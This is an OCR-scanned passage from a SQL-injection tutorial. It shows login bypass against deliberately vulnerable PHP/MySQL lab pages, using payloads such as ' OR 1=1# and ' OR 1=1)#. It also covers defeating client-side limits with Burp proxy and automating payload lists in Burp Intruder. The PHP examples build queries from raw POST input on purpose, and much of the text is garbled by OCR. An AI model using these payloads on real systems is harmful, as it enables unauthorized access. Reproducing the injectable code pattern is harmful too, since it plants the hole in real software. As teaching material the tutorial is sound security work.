
User Name: | or 1=1— - %

Password: |

Buy using this we were able to log in:

e @ (22 http://192.168.168.111:3888/mysql/sql1/5ql.php

Logged in

One can also try the
minus minus space version (there is no pipe in the text, that is the cursor to show that there is a space
after the --):

e e (2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: |‘ or 1=1--| X

Password: |

And we were able to log in again:

e @ (2 http://192.168.168.111:8888/ mysql/sql1/sql.php

Logged in

After it comes the hashmark:

ae 2 http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: [ or 1=1#] *

Password: |




And it works just as well:

e @ (2 http://192.168.168.111:83888/mysql/sql1/sql.php

Loggedin

And finally comes the slash star:

ee (2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: [ or 1=1/ .

Paszword: |

It is not working, we get a syntax error again. MySQL expects the closing tag as well:

- O x
e@ & http://192.168.168.111:8888/m O ~ C | & 192,168.168.111 Aok L

ERROR durning query execution: You have an error in vour SQL syntax; check the

manual that corresponds to vour MySQL server version for the right syntax to use near '/*'
AND password="" at line 11




Classic login bypass with brackets

Some developers like to use brackets because this way it is easier to follow the code by eye, so the
bracket can appear even in as simple queries as the logon screen. But brackets naturally appear in more
difficult queries, like searching forms, where large queries whith multiple filters are used. For this
example use the same sql.html code as before

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

o

File Edit 5earch View Encoding Language Settings Macre Run Plugins Window 7

cHRARRGRI{ MRy e | BE|S1) [ @EH| @@

[=] =gl html tﬂl | sal php I
' <titlesmylogin</ticle>

<body>

<form action="ggl.php" method="POST">
User Name: «<input type="text" id="gsername" name="gsername"/><br/>
Password: <input tyvpe="password" id="password" name="password",/><br/>
<input type="sobmit" value="=zend">

</ form>

</body>

Wy LG R3O}

o LN

And modify the sql.php code, to use brackets:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
i1f (!Scon) {

echo ('Connection ERROR');

die (print r (mysqgli error ($con)));

}



Squery = "SELECT * FROM tbll WHERE (username='"
$ POST['username'] . "') AND (password='"
$ POST['password'] . "');";
$stms = mysgli query(Scon, S$query);
if ($stms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysqgli fetch array($stms, MYSQLI ASSOC) ;
if (Srow) {
die('Logged in'");
}
else({
die ('Wrong username or password');

}

7>

File Edit Search View Encoding Language Settings Macre Run Plugins  Window 7

cBHERLA s aDoeiny 2% EBE (1 EEAICEDNRE

1 H<?php
2 Sdbname = "a";
3 Sdbusername = "root™;
e Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
& Scon = mysqli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
T HAf (!Scon) |
a echo('Connection ERROR") ;
8 die (print r (mysqgli error(Scon)));
10 1
11 Squery = "SELECT * FRCOM tbll WHERE (username=""
12 & POST[ ' uasrnamer] - "') BND (password='"
13 $_PDST ["password"] . "");";:
14 Sstms = mysgli gquery($con, Squery);
15 [Hif (S=tms === false) |
16 echo ("ERRCR during query execution: ");
17 die (print r(mysqli error(icon)));
12 ]
19 Srow = mysgqli fetch array($stms, MYSQLI BS3CC);
20 HAif (Srow) |
21 die ("Logged in'");
22 1
22 [Helse/|
24 die ("Wrong pgginame or password');
23 1
26 7 [




During the previous example if you used the input ' OR 'l'="1 only in the username field the following
SQL were built:

SELECT * FROM tbl1 WHERE username="'" OR '1'="1' AND password='YYYYYYYY";
Now we get a bit different:

SELECT * FROM tbll WHERE (username=""OR '1'='1") AND (password="YYYYYYYY");

eo 2 http://192.168.168.111:8888/mysql/sql2/sql.html

User Name: |‘ or'1'="1

Pazsword: |

But the result is exactly the same, we are not able to log in.

( “| (2 http://192.168.168.111:8888/mysql/sql2/sql.php

Wrong username or password

Then we tried to write the same input to the password field and we got the following query:
SELECT * FROM tbl1 WHERE username=""AND password="" OR '1'='1";
Again in this case we get a bit different:

SELECT * FROM tbl1 WHERE (username='") AND (password=""OR '1'="1");

eo (= http://192.168.168.111:8888/mysql/sql2/sql.html

Uszer Name: |

Password: It"u"lu-cqq| -

During the previus example we were able to log in, but now we could not. Why? Previously we were
able to log in because all the logical expressions were at the same precedence level, so they were
executed from left to right:



username="

Now they are not. Because of the brackets the precedence changes:

(username=")

As one can see the AND stands between the two logical expressions, so both of them MUST BE true
for the whole result to be true. Otherwise we got error message again.

Q;z“l

password="

"'="1"

(password="

|1|=|11)

2 http://192.168.168.111:8888/mysql/sql2/sgl.php

Wrong username or password

But if we write the same input to both text boxes, we will be able to log in.




ee = http://192.168.168.111:3888/mysql/sql2/sql.html

Uszer Name: |‘ or'1'="1

Paszword: Ilrlvlrl-l-l-iiccc -

The resultant query will look as follows:

SELECT * FROM tbl1 WHERE (username="" OR '1'="1") AND (password="" OR '1'="1");

And here is the result:

e'\ )| @ nttp://192.168.168.111:8328/mysql/sql2/sql.php

e

Logged in

It is because in this case both sides of the query will be true:

(username=" 1'="1") (password=" "1'="1")

Another possible solution, if someone can only use the first input box, is to comment the remaining
part of the query. We know from the earlier example that the hasmark (#) and the minus minus
something are the two comment signs that can be used if the MySQL database is the background.



I choose the hashmark (#) as first experiment. Let us try the ' OR 1=1# as input that we have already
used, and worked fine in the first example:

eo @ http://192.168.168.111:8888/mysql/sql2/sqLhtml

User Name: |‘ or 1=1# ®

Password: |

Of course we get a syntax error message because the query built is the following:
SELECT * FROM tbl1 WHERE (username="" OR 1=1#"') AND (password="' OR '1'="'1");

As one can see there is an open bracket, but the closing bracket is commented.

= O x

e(\::xl & hitp://192.168.168.111:3888/m O ~ & | & 192.168.168.111 N o T

EEROR during query execution: You have an error in vour SQL syntax; check the
manual that corresponds to vour MySQL server version for the right syntax to use near "
at line 11

Then try to close the open bracket in our injection. So try the following input ' OR 1=1)#
With this input one will get the following resultant query:

SELECT * FROM tbl1 WHERE (username=''" OR 1=1)#") AND (password="");

eo (22 http://192.168.168.111:8888/mysql/sql2/sql.html

User Name: |‘ or 1=1)# ®

Password: |

As we can see this time the query is working well, so we will be able to log in:




(username=" T="1"#

e@ (2 http://192.168.168.111:3888/mysql/sql2/sql.php

Logged in

We can try the other comment sign, the minus minus something as well. So based on the results of the
hashmark we can use the next input: ' OR 1=1)--
(There must be at least a space after the two minus signs.)

eo (22 http://192.168.168.111:8888/mysql/sql2/sql.html

User Name: |‘ or 1=1)- ®

Password: |

We will be able to log in again:

e@ @ http://192.168.168.111:8888/mysql/sql2/sql.php

Logged in




The resultant query become:

SELECT * FROM tbl1 WHERE (username="" OR 1=1)-- ') AND (password="");

OR

(username=" "T="1")--







Classic login bypass with user side filters

In many cases developpers are using client side filtering to "defend" their application agains SQL
injection. | have already heard things like the field can not be attacked by SQL injection, because the
user can only choose values from a combo box, and can not type anything. Also many times user side
regexp or other filters are used to filter this type of attack.

Now as a very simple example of user side filtering [ added a maxlength paramater both to the
username and password fileds, what limits the number of characters to five too short to do an SQL
injection. The new sql.html code will be the following:

<title>mylogin</title>
<body>
<form action="sqgl.php" method="POST">
User Name: <input type="text" id="username" name="username"
maxlength=5/><br/>
Password: <input type="password" id="password" name="password"
maxlength=5/><br/>
<input type="submit" value="send">
</form>
</body>

oy

File Edit S5earch View Enceding Language Settings Macro Run Plugins  Window 7
|[BEReRhLe|ldsmR|ae(ay| < |BEIST1 @ER|I@EE®EI;

[ﬂsquﬂmlhﬂ
1 <title>mylogin</ticle
2 <body>
3 <form action="ggl.php" method="POST">
4 Oser Name: <input type="text" id="pgername" name="pgernams" maxlength=5/><br/ >
o Password: <input tvpe="password" id="password" name="password" maxlength=5/><br/ />
6 <input tvpe="submit" value="send">
</ forms>
8 </body>

The sql.php now will be the original one, without the brackets:

<?php

Sdbname = "a";

Sdbusername = "root";

Sdbpassword = "";

Sdbdbsrvname = "127.0.0.1";

$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);

if (!Scon) {
echo ('Connection ERROR');
die(print r (mysqgli error ($con)));

}



Squery = "SELECT * FROM tbll WHERE username='"

$_POST['username'] . "' AND password='"
$ POST['password'] . "';";
$stms = mysgli query(Scon, S$query);
if ($stms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));

}
$row = mysqgli fetch array($stms, MYSQLI ASSOC) ;
if (Srow) {
die('Logged in'");
}
else({
die ('Wrong username or password');

}

7>

File Edit Search VYiew Encoding Language Settings Macro Run  Plugins Window 7

cEBHEERLRA|ihb e aylax|BE(1EZEN @CEDNBE

[~ =ql.php ﬂl
1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root";
e Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
& Scon = mysgli connect (Sdbsrvname, Sdbusername, S$dbpassword, Sdbname);
T Hif (!Scon) |
a echo ("Connection ERRCR');
g die(print r{mysqli error($comn)));
10 B
11 Squery = "SELECT * FROM tbll WHERE username='" .
12 $ POST[!uzsrname.] . "' AND password=""
13 $ POST['password'] . "';";
14 S$stms = mysgqli gquery($con, Squery);
15 [Hif (S=tm=s == false) |
16 echo ("ERROR during query execution: '");
17 die{print_;{mysqli_errcr{$ccn}}};
18 B
15 Srow = mysgli fetch array(Sstms, MYSQLI ASSOC);
20 Hif (Srow) |
21 die('Logged in');
22 1
22 [Helse|
24 die('Wrong yssrinamse or password');
25 B

26 = (s




Now we are only able to type 5 characters, too short for an SQL injection:

e[: \. =2 http://192.168.168.111:8888/mysqgl/sql3/sql.htm]

User Name: | OR| x
Password: |

send

In the situation of user side filtering the general solution is to use a proxy. I will use the quite popular
burp proxy for this example.

Start Burp proxy

First of all to use Burp proxy one must install Java runtime environment, because it is written in Java.
One should simply start the jar file what can be downloaded from the following link:
http://www.portswigger.net/burp/downloadfree.html

(I use the free edition of the burp proxy for the example).

I -= O X

Burp Intruder Repeater Window Help

_[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder Tﬂcmpala T Extender TDpticns T Alerts ]

Site map | Scope

| Filter: Hiding not found items; hiding CS5, image and general binary content; hiding 4x¢ responses; hiding empty folders L’j

Host | Methed | URL | Params | Status & | Length | MIME type | Title

Our first task is to check on which port does the Burp proxy run. To do it click to the Proxy tab, and
within that the Options tab:


http://www.portswigger.net/burp/downloadfree.html

E

Burp Intruder Repeater Window Help

[ Target T Prosxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

[ Intercept T HTTP history T WebSockets history T Options ]

7
LEJ Burp Proxy uses listeners to receive incoming HT TP requests from your browser. You will need to configure your browser to use one of the
L Add | Running | Interface | Invisible | Redirect | Certificate |
[ 127.0.0.1:8080 L Per-host
Edit |
Remove |

Here we can see that the Burp runs on the port 8080.
The next task is to set up our browser (or Internet Explorer) to use it.

Set up Internet Explorer to use the Burp proxy

To set up the Internet Explorer to use Burp Proxy do the following. Press the alt button to see the menu
line at the top. From the menu select the Tools \ Internet Options command:

e‘:’ \-" 2 http://192.168.168.111:8888/mysql/=ql3/sql.html o~
File Edit View Favorites Help

User Name- I1 OB | Delete browsing histary... Ctrl+Shift+Del
Password: I InPrivate Browsing Ctrl+ Shift+P

Turn on Tracking Protection
ActiveX Filtering

Fix connection problems...
Reocpen last browsing session

Add site to Apps

View downloads Ctrl+
Pop-up Blocker *
SmartScreen Filter 3

Manage redia licenses

Manage add-ons

Compatibility View settings

Subscribe to this feed...
Feed discovery L

Windows Update

Performance dashboard Ctrl+5hift+ LU
F12 Developer Tools




Alternatively one can click to the gear icon at the right side and coose the Internet options command
there.

- O X
e- )| © http://192.168.168.111:2888/m O ~ & | & mylogin A -

Print »
User Name: [ OR| X fn

Fil 4
Password: | ne

£ 100%; b

Safety k

Add site to Apps

Yiew downloads Ctrl+]

Manage add-ons
F12 Developer Tools
Go to pinned sites

Compatibility View settings

About Internet Explorer

On the appearing window select the Connections tab, then click on the LAN settings button:

? x

|General | Security | Privacy | Cu:untent| Connections |F‘r|:|g|rams |.ﬁ.dvanced |

To set up an Internet connection, dick | |
Setup.

Dial-up and Virtual Private Network settings

| add.. |
| addven.. |
| Remave... |
Choose Settings if you need to configure a proxy | Settings |
server for a connection.
Local Area Network (LAN) settings
LAM Settings do not apply to dial-up connections. LAM settings

Choose Settings above for dial-up settings.

QK | | Cancel | | Apply




Put a checkmark in front of the line "Use a proxy server for your LAN...".
Then type 127.0.0.1 as Adress, and 8080 as Port. Then click to the OK button.

~ Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[ ] automatically detect settings

|:| IJse automatic configuration script

Address |

Proxy server

IUse a proxy server for your LAM (These settings will not apply to
dial-up or VPN connections).

Address: | 127.0.0.1 Port: | 8030 Advanced

[ ]Bypass proxy server for local addresses

| | | Cancel

Then click to the OK button on the Internet Options window as well.



? X

|General | Security | Privacy | Cn:nntent| Connections |F‘rn:|grams |.-5.|:|'u'ann:ed |

To set up an Internet connection, dick | |
Setup.
Dial-up and Virtual Private Metwork settings
| Add. |
| addven.. |
| Remawve. .. |
Choose Settings if you need to configure a proxy | Settings |
server for a connection.
Local Area Metwork (LAN) settings
LAM Settings do not apply to dial-up connections. LAM settings
Choose Settings above for dial-up settings.
| oK | | Cancel | | Apply

Now we can start to bypass the user side filter.

Bypass the user side filter

First type an arbitrary text to the username and to the password fields. I used the 'aaaaa' text as
username and 'bbbbb' as password. It is only a placeholder to easily recognize it. Then click to the send
button.

euj! )| & http://192.168.168.111:2888/mysql/sql3/sql. htm

Uszer Name: |aaaﬂa

Password: [eeeee| -



The webpage will hang up, because the proxy catches the request and it waits for the response.

lf\- )| & http://192.168.168.111:3888/mysql/sql3/sql.html P = X | O Waiting for 192.168.168.111

User Name: |a aaaa

Password: |un|

Open the Burp proxy window and choose the Proxy tab, then within that the Intercept tab:

B

Burp Intruder Repeater Window Help

[ Target T 3 T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

_[ i pi T HTTP history T WebSockets history T Opticns ]

# | Request to hitp:/182 168 168.111:8888

l Forward J l Drop J ( Intercept is on | Action
_[ Raw T Params T Headers T Hex ]

FO3IT /myscl/=sqglissqgl.php HTTE/ L. 1

Logept: text/html, application/xhtml+xml, */*

Beferer: http://192.168.168. 1118888/ my=sql/=2ql3/=aql. html
Aocept-Language: en-U3

Uzer-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; Trident/7.0; rv:1l.0) like Gecko
Content-Type: application/x-www—form-urlencodsd
Aocept—-Encoding: gzip, deflate

Host: 192.1e8.1le8.111:888E

Content-Length: 28

Proxv-Connection: Eeep-A4ilive

Pragmwa: no-caches

Cookie: PHPSESSID=llinvtvidsigrijdkmsSdvkslsT7

username=aaaaa&password=bhbbl

Change the value of the username parameter (aaaaa) to the SQL injection code. If you recall the first
example, the ' OR 1=1# is a working one. Then click to the Forward button to send the modified
data.



E

Burp Intruder Repeater Window Help

[ Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIEﬂs ]
_[ i ot T HTTP history T WebSockets history T Owptions ]
# | Reguest to http://192.168.168.111:8888

Drop | Intercept is on I Action
_[ Raw T Farams T Headers T Hex ]

POST /wysgl/=sglissqgl.php HTTE L. 1

Locept: text/html, application/xhtml4bxml, */*

Feferer: http://192.168.168.111:8888/mysql/=sql3/sql. html
Aocept-Language: en-U3S

User—-Agent: Mozilla/5.0 (Windows NT €.3; WOWEd: Trident/7.0:

Content-Type: application/x-www-form-urlencoded
Aocept-Encoding: gzip, deflate

Host: 19Z2.1g8.1e5.111:888E

Content-Length: Z9

Proxvy-Connection: EKeep-—-Alive

FPracma: no-cache

Cookie: PHPIESSID=ll3nvtvidsigqridkmSdvkS1lsT7

usernames=' COR l=lf&password=bbhhb h

As we can see the SQL injection works again:

rv:ll.0) like Gecko

e ()| & hitp://192.168.168.111:8888/mysql/sql3/sql.php

Logged in

Semi automated testing with burp proxy the classic login screen

To find an SQL injection error we should check many test cases, which is quite boring and error prone
when done manually. One can use of course automated tools as well, but those have many drawbacks
and often not able to handle JavaScript, HTMLS5, and so on properly. Because of it if you want to test a
web application it is highly recommended to use not only automated tools, but to do manual work as
well. From this reason it is often suggested to use some semi automated technique, when we manually
select the insertion points where the tool should try, and give a test case list that the computer tries.

To do such semi automated testing with the Burp proxy do the following. Go back to the webpage and
type again some placeholder text to the Username and Password fields (I used 'xxxxx' and 'yyyyy'

respectivly), then click to the Send button:



eo =2 http://192.168.168.111:8888/mysql/sql3/sql.html

User Name: I)GOOG(

Password: |n"|| -

The webbrowser hangs up again. Go to the proxy window, select the Proxy tab and within that the
Intercept tab., Then without any changes click to the Forward button.

Burp Intruder Repeater Window Help

[ Target T ] T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder TCGmpEIH T Extender T Options TAIEﬂS ]

_[ i ot T HTTP history T WebSockets history T Options ]

4 Reguest to hitp:/192.168.188.111: 8888

L Forward J l Drop J [ Intercept ison | Action
_[ Raw T Params T Headers T Hex ]

POST /myscqgl/scli/sql.php HTTES/L. L

Aocept: text/html, application/xhtml+xml, */*

BFeferer: http://192.168.168.111:8888/myaql/2ql3/sqgl.html
Accept-Language: en-U3

Uzser-Agent: Mozilla/5.0 (Windows NT £.3; WOWe4: Trident/7.0; rv:ll.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

Host: 182.1E8.1e8.111:8888

Content-Length: I9

Proxwvyv-Connection: FKeep-Alive

Fracma: no-cache

Cookie: PHPSESSID=llinvtvidsigqridikmSdvislsT7

Of course we will not log in, but anyway it as not our purpose now.We just wanted to get a baseline
about the data that sent by the application. Go to the Target tab, and within that the Site map tab.
Find here your newly typed data and right click to it. From the popup menu select the Send to
Intruder command.



Burp Intruder Repeater Window Help

_[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Exten

_[ Site map T Scope ]

Filter: Hiding not found items; hiding C55, image and general binary content; hiding 4o responses; hiding emg

¥ hitp://192.168.188.111:8888 Host | Method | URL
L
o mysgl http:/192 168 168.111:8... POST Iy
Y sgl2
¥ @& sql.php

username="OR 1=1#&password=bbbbb
username=oocoihpassword=yy

POST: username=ioococh password=yyyyy
Add to scope

Spider from here

Send to Intruder Cirl+l

Send to Repeater Cir+R  —

Send to Sequencer

Then click to the Intruder tab.

E

Burp Intruder Repeater Window Help

[ Target T Prosxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T{'.-ampaml T Extender T Options Tﬁkleﬂs ]

_[ Target T Positions T Payloads T Options ]

2

Configure the details of the target for the attack.

Host: | 192.188.188.111
Port: | BBEE

] Use HTTPS

Go to the Positions tab within it. Here select the insertion points by putting a paragraph sign at the
beginning and end of positions. Now we will test the positions of xxxxx and positions of yyyyy, select
only these positions, and clear the signs from around the other automatically selected texts, for example
the PHPSESSID.



Burp Intruder Repeater Window Help

[ Target T Prosgy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

[l

[ Target ]’ Positions T Payloads T Options ]

&)

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

FOST /mysqgl/sql3/sql.php HTTE/L.L

Accept: text/html, application/xhtml+xml, */*

Referer: http://192.168.L168.111:8888/mysql/sql3/sql.html
Accept-Language: =n-US

User-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencodsd
Accept-Encoding: gzip, deflate

Host: 19Z.168.1658.111:888E

Content-Length: 28

Prowy-Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=Fll3nwvtwidsigrjdkmScdvkslsTIs

Username=SxxxXxx§ cpassvord=Syyyyvys

T

Add§ |
Clear§ |
Auto§ |
Refrash |

Choose the attack type. The two most commonly used one are Sniper and the Battering ram. We will
use the snipper now. It is defined in the help of the Burp proxy as the following: This uses a single set
of payloads. It targets each payload position in turn, and places each payload into that position in
turn. Positions that are not targeted for a given request are not affected - the position markers are
removed and any enclosed text that appears between them in the template remains unchanged. This

attack type is useful for fuzzing a number of request parameters individually for common

vulnerabilities. The total number of requests generated in the attack is the product of the number of

positions and the number of payloads in the payload set.

Burp Intruder Repeater Window Help

[ Target T Prosy T Spider T Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

[ awl)

[ Target T Pasiticns T Payloads T Options ]

&)

Configure the positions where paylcads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: [ Sniper

Sniper
Battering ram

FPOST /m
Aocept:
Referer
Aocept-

Pitchfork

Cluster bomb

User-Agent: Mozilla/5.0 (Windows NT £€.3; WOWE4: Trident/7.0; rv:ill.0) like Gecko
Content-Type: application/x-www—form-urlencoded

Aoccept-Encoding: gzip, deflate

Host: 192.1658.165.111:88B8E

Content-Length: Z9

Proxy-Connection: Keep-Ailive

Pragma: no-cache

Cockie: PHPSESSID=ll3nvtvidsigqrijdkmSdvkslsT7

username=8xxxxXxScpassvord=8yyvyyvs

Add§ |
Clear§ |
Auto§ |
Refrash |



After these settings it looks as follows:

E

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repester T Sequencer T Decoder TC&mparer T Extender TDpti{ms- TAIEHE- ]

|~

Target | Positions T Payloads TDpti{}ns- ]

@

Configure the positicns where payloads will be inserted into the base request. The attack type determines the way in which payloads are assi

Attack type: | Sniper

FO3IT /mvsql/sql3/sgl.php HTTE/L.1

Aocept: text/html, application/xhtml+xml, */*

Beferer: http://1l92.168.168.111:8888/my=ql/=sql3/=ql.html
Aocept-Language: =n-U3S

User-Agent: Mozilla/5.0 (Windows NT £€.3; WOWE4; Trident/7.0; rv:11l.0) like Gecko
Content-Type: application/x—-www—form-urlencoded
Accept-Encoding: gzip, deflate

Host: 19Z2.1e8.1e8.111:58888

Content-Length: 29

Proxy-Connection: EKEeep-Alive

Fragma: no-cache

Cookie: PHPSESSID=113nvtv7dsigrijdlknSdvk51ls77

username=SxXxxxxSipassvord=8vyvyvys

Now go to the Payloads tab and add the test strings to the Payload options.



Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repesater T Sequencer T Decoder T Comparer T Extender | Of

¥ 2

3

[ Target T Pasiticns TPayluads T Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the P
each payload type can be customized in different ways.

Payload set: l 1 | "] Payload count: 10

Payload type: l Simple list | ‘l'] Request count: 20

IlJ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste "OR1'="1 |a
' OR 1=1- -
Load .. | |‘OR1=1#
*OR 1=1/*
Remaove "OR 1=1- [ 3
B
cex ||, cnis
= OR 1=1/ rf
|_ Add J " OR 1=1-

Add from list ... [Pro version only]

After that open the Intruder menu and select the Start attack command.

Send to Repeater

You will get a warning about the free version Burp.Just click to the OK button.



The free edition of Burp contains a demo versicn of Burp Intruder. Some functicnality is disabled, and attacks are time throttled.

Please visit http://portswigger.net for more details about Burp Suite Professicnal which contains the full version.

After it has finished running start to overview the results. Look at the Length field to filter the same
answers.

E

Attack Save Columns

_[ Results I Target T Paositions ]' Fayloads ]' Opticns ]

Filter: Showing all items

Request & | Position | Payload | Status | Emor | Timeout | Length | Comment

a 200 L L 226 baseline request
1 1 "OR"M=1 200 I L 228

2 1 OR 1=1-- 200 L [ 208

3 1 OR 1=1# 200 L L 208

4 1 OR 1=1/* 200 J [ 402

Reqguest | Response ]

(e | veacen | x|

HTTF/1.1 Z00 COE

Date: Zat, Z2 Feb 2014 lg:37:07 GHMT

Server: Apache/2.4.7 (Win32) Cpen33L/1.0.le PHPF/5.5.E
¥-Powered-By: PHPF/5.5.8

Content-Length: ZE

Connection: close

Content-Type: text/html

Wrong username or password

Hopefully you will find some results indicating a successfull injection attack (it has now the length
208):



Attack Sawve Columns

_[ Results T Target T Pasiticns T FPayloads T Options ]

Filter: Showing all items

Request & | Position | Payload | Status | Emor | Timeout | Length
0 200 L L 228
1 1 OR 1= 200 L L 228
2 1 "OR 1=1-- 200 L L 208
3 1 OR 1=1# 200 L L 208
4 1 OR 1=1/~ 200 L L 402

Feguest | Response ]

e | escen | v |

HTTP/1.1 200 0K

Date: Sat, ZIZ Febkb Z014 le:37:07 GMT

Server: Apache/2.4.7 (Win3Z) Open33L/1l.0.ls PHPF/5.5.6
¥-Powered-By: FHF/5.5.6

Content-Length: 9

Connection: close

Content-Type: texXt/html

Logged in



B

Attack Save Columns

_[ Results T Target T Pasitions T Payloads TDpti{:—ni- ]

Filter: Showing all items

Request & | Paosition | Payload | Status | Emor | Timeout | Length
a 200 [} [} 228
1 1 OR "= 200 [} [} 228
2 1 OR 1=1—- 200 L L 208
3 1 "OR 1=1# 200 L L 208
4 1 OR 1=1/~ 200 L L 402

Reguest | Response ]

(e | e | vex |

HTTF/1.1 200 OK

Date: Sat, 22 Feb 2014 1e:37:028 GMT

Server: Apache/2.4.7 (Win3l) OpenS5L/1.0.l= PHF/5.5.6
¥-Powered-By: PHP/5.5.¢

Content-Length: 9

Connection: close

Content-Type: text/html

Logged in

Sometimes you will get error messages:



Attack Save Columns

_[ Results T Target T Paositicns T Payloads T Options ]

Filter: Showing all items

Request & | Position | Payload | Status | Emor | Timeout | Length
1 1 OR "= 200 J J 225
2 1 OR 1=1-- 200 J I 208
3 1 OR 1=1# 200 J I 208
4 1 "OR =1 200 J J 402
5 1 OR 1=1- 200 (] [l 284

Reguest | Response ]
_[ Raw T Headers T Hex ]

HTTF/L.l 200 OK

Date: Sat, 22 Feb Z014 1&:37:02 GHMT

Server: Apache/2.4.7 (Win3I) Open33L/1.0.le= PHPF/S5.5.6
¥-Powered-By: FHF/5.5.6

Content-Length: Z01

Connection: close

Content-Type: texXt/html

ERROR during guery execution: You have an error in your 50L syntax: ches
version for the right syntax to use near 'Jf*' AND password='yyyyy'' at .

Semi automated testing with burp the classic login with brackets screen

The same test can be done with the second example where brackets were used in the SQL query. Let us
try to do it as well.

Change the destination after the POST http method from sql1 to sql2 to send the test cases to that
webpage:



R

Burp Intruder Repester Window Help

[ Target T Proy I Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender Tﬂp‘tinnﬁ TAIEﬂE ]
| Target | Paositions T Payloads TGptinnE ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads .

Aftack type: | Sniper

POST /myaqgl/sqgll/=sql.php HTTR/L.L

Accept: text/html, application/xhtml+4xml, */*

Feferer: httop://19Z.168.168.111:8888/ myaql/sql3/sql.html
Locept-Language: en-TU3

User—-Agent: Mozilla/5.0 (Windows NT £.3; WOWE4; Trident/7.0; rwv:ll.0) like Gec
Content-Type: application/x-www-form-urlencoded
Aocept—-Encoding: gzip, deflate

Host: 159Z2.1e8.1e3.111:8888

Content-Length: 29

Proxv-Connection: Eeep-Alive

Fragma: no-cache

Cookie: PHPSESSID=llinvtvidsigqridkmnSdvksSlsT7

USErNAane =SS cpassvord=SvVvvys

And select again the Start attack command from the Intruder menu:

[ Tae] Send to Repeater

Click to the OK button again on the warning window.

The free edition of Burp contains a demo version of Burp Intruder. Some functionality is disabled, and attacks are time throttled.

Flease visit hitp://portswigger.net for more details about Burp Suite Professional which contains the full version.

3

Then wait for the results:



Attack Save Columns

_[ Results T Target T Pasitiocns T Payloads T Options ]

Filter: Showing all items

Request & | Paosition | Payload | Status Emor | Timeout | Length | Comment
a 200 L L 228 baseline reguest
1 1 OR "= 200 J J 226
2 1 OR 1=1-- 200 (] (] ]
3 1 OR 1=12 200 J J k]
4 1 OR 1=1/* 200 J J 405
] 1 OR 1=1- 200 J J 385
[+] 1 " OR™m="1 200 J J 226
T 1 "OR 1= 200 J J 226
8 1 "OR1=1# 200 J J 226
2 1 "OR1=17 200 J J 226
10 1 200 (] (] 226
11 2 OR "= 200 J J 228
12 2 OR 1=1-- 200 J J a7e
13 2 OR 1=1 200 J J aTe
14 2 OR 1=1/ 200 J J 382
15 2 OR 1=1- 200 J J 380
16 2 " OR™m="1 200 J J 226
17 2 "OR1=1-- 200 J J 226
18 2 "OR1=1# 200 J J 226
19 2 "OR 1=1/ 200 (] (] 226
20 2 200 J J 228

If you review the results there will not be any successfull attack. It is because among our test cases
there were not any with closing brackets at the end. There are two possible solutions. One is obvious,
add the samples with the closing brackets at the end to the test cases.

The other solution, that I wanted to show now, is to select the Battering ram as attack method. It is
defined in the Burp proxy help as the following: This uses a single set of payloads. It iterates through
the payloads, and places the same payload into all of the defined payload positions at once. This attack
type is useful where an attack requires the same input to be inserted in multiple places within the
request (e.g. a username within a Cookie and a body parameter). The total number of requests
generated in the attack is the number of payloads in the payload set. The problem was with the snipper
attack method, it substitutes the injection points one by one.But if we use brackets, both parts of the
query must be true because of the precedence. This is why we use battering ram attack type when it
will substitute the test cases to the positions not one by one, but at once.

So select the Battering ram attack type:



E

Burp Intruder Repeater Window Help

[ Target T Proogy T Spider T Scannes T Intruder T Repeater T Sequencer T Decoder TCDI'I'IPE.I’EI’ T Extender T Opticns T Alerts ]

Target | Paositions T Fayloads Tﬂlptinns ]

(2] Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are &

Attack type: [ Battering ram

Sniper
FOST /1] gattering ram
Aocept:
Feferer
Aocept-]
User—Agent: Mozilla/5.0 (Windows NT £€.3; WOWe4; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www—-form-urlencoded

